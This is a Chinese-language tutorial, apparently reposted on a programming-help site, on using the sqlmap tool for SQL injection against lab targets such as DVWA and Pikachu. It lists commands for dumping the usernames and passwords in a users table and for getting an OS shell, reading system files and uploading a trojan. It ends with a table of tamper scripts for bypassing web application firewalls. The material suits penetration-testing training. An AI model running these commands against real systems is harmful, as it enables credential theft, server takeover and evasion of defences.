概述
SQLMAP的使用
SQLMAP的基本使用
(一)基本使用
1、指定url -u
sqlmap.py -u "http://192.168.75.4:8011/news_view.asp?id=10"
# 这个是最基本的检测该url是否存在注入的语句,当然这里是使用get方式提交的,如果这里的url不是以get方式提交的,他是没有办法检测出post注入注入点的
输入上述语句会出现下面的提示
# you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDQAAQAACT=NHOLFAPAHKN...ONMOAAEFCK'). Do you want to use those [Y/n]
#执行这个语句首先会提示你未指定cookie,工具将会自己构造一个cookie,询问是否使用?这里基本用法可以用y,但是在有些登陆后才展现的页面就需要指定cookie
# [15:11:31] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
# are you sure that you want to continue with further target testing? [Y/n]
# 这个的意思是检测到目标站点有安全防护设备/脚本,是否继续检测 y继续
# GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
# 检测到id处可能存在输入点,是否查找其他注入点。
2、指定cookie --cookie
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD"
# --cookie "cookie内容就可以指定cookie"
# 获取cookie可以有很多方法,例如使用burp抓包,拿到当前会话的cookie;使用浏览器自带的f12查看会话信息也能获取cookie
3、提升检测的级别
-
–-level 执行测试等级(1-5,默认为1)
sqlmap使用的payload可以在xml/payloads.xml中看到。默认为1,2:检测cookie中的参数,3:检查user-agent和referer的参数(常用);4:;5:会自动破解出cookie、XFF等头部注入;等级越高包含的payload越多,但相应的检测速度就越慢。
-
–risk 执行测试的风险级别(1-3,默认为1)
1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试
sqlmap.py -u "http://192.168.75.4:9500/pikachu/vul/sqli/sqli_header/sqli_header_login.php" --cookie "PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMG" --level=3 --risk=3
4、显示注入payload -v
-v 显示信息的级别(0-6),其中,0只显示python错误以及严重的信息;1同时显示基本信息和警告信息(默认);2同时显示debug信息;3同时显示注入的payload;4同时显示HTTP请求;5同时显示HTTP响应头;6同时显示HTTP响应
sqlmap.py -v 3 -u "http://192.168.75.4:8011/news_view.asp?id=10"
5、批量注入 -m
先将需要测试的url写入到一个.txt文件中,然后直接读取该文件进行注入即可
sqlmap.py -m "d:test.txt"
6、指定参数注入 -p
sqlmap.py -u "http://192.168.75.4:8011/news_view.asp?id=10" -p id
7、post注入
-
注入方法
- 通过burp,抓取到数据包并复制到一个txt文件中,然后-r+文件路径即可进行post注入
-
命令
sqlmap.py -r "d:test.txt"
(二)进阶使用
1、自动填写表单
sqlmap.py -u "http://192.168.75.4:9500/pikachu/vul/sqli/sqli_str.php" -forms
# 会提示你是否采用他们默认创建的表单还是自行输入表单信息。
2、自动判断注入
sqlmap.py -u "http://192.168.75.4:9500/pikachu/vul/sqli/sqli_str.php" -batch-smart
3、获取数据库信息的常用参数
-
当前数据库类型
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD"--dbs
-
当前数据库用户
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" --current-user
-
当前数据库名
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" --current-db
-
当前数据库用户类型,是否为管理员
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" --is-db
-
列出数据库所有用户
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" --users
-
列出当前数据库的表
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" -D dvwa --tables
-
列出当前表的列名
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" -D dvwa -T users --columns
-
列出当前表的相应字段内容
sqlmap.py -u "http://192.168.75.4:9500/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=pfpmlvkc4kc97k7q7ipnsk10n4; ASPSESSIONIDQAAQAACT=MHOLFAPAAHODCKIHIFFPIMGD" -D dvwa -T users -C username,password --dump
(三)cookie注入
sqlmap.py -u "http://192.168.75.4:9500/pikachu/vul/sqli/sqli_header/sqli_header_login.php" --cookie "ant[uname]=admin" --level 2 --dbs
#
(四)命令执行
# 创建与系统交互的shell窗口
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --os-shell
# 执行cmd的命令
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --os-cmd "net user"
# 尝试读取服务器中的配置文件
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --file-read "/etc/password" # Linux中读取文件
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --file-read "c:1.txt"
# 尝试写一个木马程序到web目录,前提是需要当前数据库用户需要有管理员权限(即写的权限),然后才尝试写入文件
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --is-db # 返回为true即为管理权限
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --file-write "d:/1.txt" --file-dest "c:/www/1.txt"
# 可以将木马脚本写在本地中,然后上传到网站路径下。
(五)绕过waf
sqlmap中的temper目录中,有可以使用的绕过waf的脚本,可以直接引用
sqlmap.py -u "http://192.168.75.4:8012/sqlserver/1.aspx?xxser=1" --tamper "脚本名称"
# 可以根据需要修改py脚本中的正则匹配的参数
tamper脚本作用汇总
-
支持所有数据库
编号 脚本名称 作用 1 apostrophemask.py 用utf8代替引号 2 base64encode.py 用base64编码替换 3 multiplespaces.py 围绕SQL关键字添加多个空格 4 space2plus.py 用+替换空格 5 nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、”")) filters 6 space2randomblank.py 代替空格字符(“”)从一个随机的空 白字符可选字符的有效集 7 unionalltounion.py 替换UNION ALL SELECT UNION SELECT 8 securesphere.py 追加特制的字符串 -
MSSQL数据库
编号 脚本名称 作用 1 space2hash.py 绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’) 2 equaltolike.py like 代替等号 3 space2mssqlblank.py(mssql) 空格替换为其它空符号 4 space2mssqlhash.py 替换空格 5 between.py 用between替换大于号(>) 6 percentage.py asp允许每个字符前面添加一个%号 7 sp_password.py 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 8 charencode.py url编码 9 randomcase.py 随机大小写 10 charunicodeencode.py 字符串 unicode 编码 11 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ -
MySQL数据库
编号 脚本名称 作用 1 equaltolike.py like 代替等号 2 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 3 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 4 ifnull2ifisnull.py 绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ 5 space2mssqlhash.py 替换空格 6 modsecurityversioned.py 过滤空格,包含完整的查询版本注释 7 space2mysqlblank.py 空格替换其它空白符号(mysql) 8 between.py 用between替换大于号(>) 9 modsecurityzeroversioned.py 包含了完整的查询与零版本注释 10 space2mysqldash.py 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) 11 bluecoat.py 代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like 12 percentage.py asp允许每个字符前面添加一个%号 13 charencode.py url编码 14 randomcase.py 随机大小写 15 versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment 16 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ 17 charunicodeencode.py 字符串 unicode 编码 18 versionedmorekeywords.py 注释绕过 19 halfversionedmorekeywords.py 关键字前加注释 20 halfversionedmorekeywords.py 当数据库为mysql时绕过防火墙,每个关键字之前添加 mysql版本评论 21 space2morehash.py 空格替换为 #号 以及更多随机字符串 换行符 -
Oracle数据库
编号 脚本名称 作用 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 3 between.py 用between替换大于号(>) 4 charencode.py url编码 5 randomcase.py 随机大小写 6 charunicodeencode.py 字符串 unicode 编码 7 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ -
PostgreSQL数据库
编号 脚本名称 作用 1 greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 2 apostrophenullencode.py 绕过过滤双引号,替换字符和双引号。 3 between.py 用between替换大于号(>) 4 percentage.py asp允许每个字符前面添加一个%号 5 charencode.py url编码 6 randomcase.py 随机大小写 7 charunicodeencode.py 字符串 unicode 编码 8 space2comment.py Replaces space character (‘ ‘) with comments ‘/**/’ -
Access
编号 脚本名称 作用 1 appendnullbyte.py 在有效负荷结束位置加载零字节字符编
最后
以上就是清新灰狼为你收集整理的SQLMAP的使用SQLMAP的使用的全部内容,希望文章能够帮你解决SQLMAP的使用SQLMAP的使用所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复